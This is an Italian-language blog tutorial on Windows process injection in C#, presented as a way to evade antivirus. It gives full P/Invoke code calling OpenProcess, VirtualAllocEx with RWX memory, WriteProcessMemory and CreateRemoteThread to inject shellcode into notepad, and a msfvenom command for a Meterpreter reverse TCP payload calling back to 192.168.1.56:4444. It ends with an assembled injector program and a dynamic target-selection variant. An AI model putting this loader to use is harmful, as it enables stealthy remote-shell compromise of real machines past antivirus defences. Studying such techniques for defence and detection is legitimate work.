Process Injection

Tempo di lettura: 9 minuti
Data pubblicazione: February 1, 2022

Introduzione

La Process Injection è un metodo per eseguire del codice all’interno di un’altro processo in esecuzione (nel suo spazio degli indirizzi) in modo da eludere alcune delle difese degli Antivirus. L’esecuzione di codice all’interno di un altro processo può consentire l’accesso alla memoria del processo, alle sue risorse e soprattutto eludere il rilevamento da parte di AV, in quanto il nostro shellcode viene mascherato sotto le spoglie di un processo benevolo.

Per fare un breve recap (molto esemplificato), un processo è un contenitore con la propria memoria virtuale, ha sempre almeno un thread (se stesso) ma potrebbe averne altri eseguiti in parallelo. Quest’ultimi eseguono azioni simultanee ma condividono la memoria virtuale del processo padre.

Tramite le WinAPI in questo articolo andremo ad iniettare codice all’interno di un processo, migrando di fatto il nostro shellcode all’interno di un processo benevolo.

Process Injection

Ci sono diverse tecniche di Process Injection:

  1. Process Spawning: viene creata un’istanza di un processo di un eseguibile legittimo che viene modificato prima che venga eseguito.
  2. Iniettare durante l’inizializzazione del processo: in questo caso, si forza il processo che sta per essere eseguito a caricare il codice malevolo.
  3. Iniettare nei processi in esecuzione: la tecnica che andremo a vedere in questo articolo.

Gli step della Process Injection sono solitamente tre:

  • Allocazione della memoria
  • Scrittura della memoria
  • Esecuzione

A volte l’allocazione e la scrittura sono effettuati nello stesso step mentre altre volte viene fatto più volte, dipende dalla tecnica che si segue.

Per la scrittura di memoria invece ci sono due possibili modalità:

  1. Utilizzare VirtualAllocEx (o NtAllocateVirtualMemory) per allocare nuova memoria nel processo target. In questo modo si può richiedere che la nuova memoria sia RWX.
  2. Utilizzare memoria già esistente (allocata) all’interno del processo e sovrascriverla. Si può utilizzare lo Stack, l’heap o la sezione data del processo.

Process Injection con C#

Tramite C# e le Win32 API possiamo eseguire il nostro Process Injection.

Gli step da effettuare sono:

  1. Aprire un canale con il processo esistente tramite OpenProcess
  2. Allocare la memoria tramite VirtualAllocEx
  3. Inserire all’interno della memoria il nostro shellcode con WriteProcessMemory
  4. Eseguire il thread con CreateRemoteThread

Fase 1 - OpenProcess

OpenProcess apre un processo locale e ci permette di ottenere l’handle dello stesso. La sintassi è la seguente

HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL  bInheritHandle,
[in] DWORD dwProcessId
);

dove:

  • dwDesiredAccess specifica i diritti di accesso all’eseguibile. Tutti i processi hanno un livello di integrità che blocca l’accesso ad un processo con un maggiore livello. Di conseguenza non si può iniettare codice all’interno di un processo con Alta Integrità partendo da uno con Bassa Integrità, ma è possibile il contrario (o stesso livello di Integrità). Per un approfondimento: Process Security and Access Rights. Poiché vogliamo tutti i possibili diritti di accesso sceglieremo PROCESS_ALL_ACCESS (0x001F0FFF)
  • bInheritHandle: se vale TRUE il processo creato erediterà l’handle dell’originale. Non ci interessa, per cui metteremo FALSE
  • dwProcessId: il PID del processo, ottenibile facilmente con Process Explorer o in maniera dinamica con GetProcessesByName(“nomeprocesso”)

Con pinvoke copiamo la definizione in C# e otteniamo

[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
    uint processAccess,
    bool bInheritHandle,
    int processId
);


IntPtr hProcess = OpenProcess(0x001F0FFF, false, PID); 

Fase 2 - VirtualAllocEx

VirtualAllocEx alloca uno spazio di memoria all’interno di un processo. Viene definito come

LPVOID VirtualAllocEx(
[in]           HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in]           SIZE_T dwSize,
[in]           DWORD  flAllocationType,
[in]           DWORD  flProtect
);

dove:

  • hProcess è l’handle ottenuto con OpenProcess
  • lpAddress è il puntatore ad un indirizzo di memoria. Poiché possiamo lasciar fare al’API, lo metteremo a NULL.
  • dwSize è la grandezza della regione di memoria da allocare, ne allochiamo 4096 bytes (0x1000)
  • flAllocationType è il tipo di allocazione di memoria, nel nostro caso utilizzeremo MEM_COMMIT (0x00001000) e MEM_RESERVE (0x00002000) che uniti danno 0x3000.
  • flProtect è la protezione della memoria della regione da allocare. Vedendo le possibili flag useremo RWX, ossia 0x40

Sempre tramite pinvoke convertiamo l’API e la dichiariamo in C#

[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
uint dwSize, uint flAllocationType, uint flProtect);

IntPtr address = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

Fase 3 - WriteProcessMemory

WriteProcessMemory scrive all’interno dell’area di memoria di un processo. Viene definito come:

BOOL WriteProcessMemory(
[in]  HANDLE  hProcess,
[in]  LPVOID  lpBaseAddress,
[in]  LPCVOID lpBuffer,
[in]  SIZE_T  nSize,
[out] SIZE_T  *lpNumberOfBytesWritten
);

dove:

  • hProcess è l’handle del processo

  • lpBaseAddress puntatore al base address, useremo addr

  • lpBuffer il puntatore al buffer che contiene i dati da scrivere (il nostro shellcode)

  • nSize il numero di bytes da scrivere (shellcode.Length)

  • *lpNumberOfBytesWritten puntatore a una variabile che riceve il numero di bytes trasferiti nel processo.

      [DllImport("kernel32.dll")]
      static extern bool WriteProcessMemory(
          IntPtr hProcess,
          IntPtr lpBaseAddress,
          byte[] lpBuffer,
          Int32 nSize,
          out IntPtr lpNumberOfBytesWritten
      );
    
      // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.56 LPORT=4444 EXITFUNC=thread -f csharp
      byte[] shellcode = new byte[626] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc... 
      IntPtr outSize; 
      WriteProcessMemory(hProcess, address, shellcode, shellcode.Length, out outSize);
    

Fase 4 - CreateRemoteThread

CreateRemoteThread crea il thread che verrà eseguito all’interno del processo.

HANDLE CreateRemoteThread(
    [in]  HANDLE                 hProcess,
    [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
    [in]  SIZE_T                 dwStackSize,
    [in]  LPTHREAD_START_ROUTINE lpStartAddress,
    [in]  LPVOID                 lpParameter,
    [in]  DWORD                  dwCreationFlags,
    [out] LPDWORD                lpThreadId
);

dove:

  • hProcess è il solito handle
  • lpThreadAttributes è un puntatore agli attributi di sicurezza.
  • dwStackSize è la grandezza dello stack. Metteremo 0 come valore di default
  • lpStartAddress è un puntatore all’indirizzo iniziale del thread. Metteremo quello dello shellcode
  • lpParameter è un puntatore alla variabile passata al thread
  • dwCreationFlags è una flag che controlla la creazione del thread. Metteremo 0 per eseguirlo immediatamente
  • lpThreadId per ricevere l’identificatore del thread, 0 perchè non ci interessa.

Convertiamo con pinvoke

[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess,
IntPtr lpThreadAttributes, uint dwStackSize, ThreadStartDelegate
lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

IntPtr thread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, address, IntPtr.Zero, 0, IntPtr.Zero);

Fase 5 - Compilazione ed esecuzione

A questo punto non ci resta che mettere tutto insieme, compilare ed lanciare il nostro eseguibile.

using System;
using System.Runtime.InteropServices;


namespace Inject
{
    class Injection
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        static void Main(string[] args)
        {
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, 8304);
            IntPtr address = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

            byte[] shellcode = new byte[511] {
                0xfc,0x48,0x83....

            IntPtr outSize;
            WriteProcessMemory(hProcess, address, shellcode, shellcode.Length, out outSize);

            IntPtr thread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, address, IntPtr.Zero, 0, IntPtr.Zero);
        }
    }
}

Eseguo notepad e prendo il PID

Lo inserisco all’interno del programma, che compilo (con architettura x64) ed eseguo dopo essermi messo in ascolto con metasploit

Come si può vedere dal task manager, ora notepad contiene al suo interno una connessione con un indirizzo remoto

C# con scelta del processo dinamica

Nel caso in cui non avessimo visione del PID, potremmo anche scegliere il processo dinamicamente, ossia passando solo il nome del processo e ciclando sui possibili PID.

Per fare ciò è sufficiente inserire il seguente codice all’interno del Main

int procID = Process.GetProcessesByName("notepad")[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, procID);
IntPtr address...
.....

Conclusioni

Alcune risorse utili per approfondire l’argomento: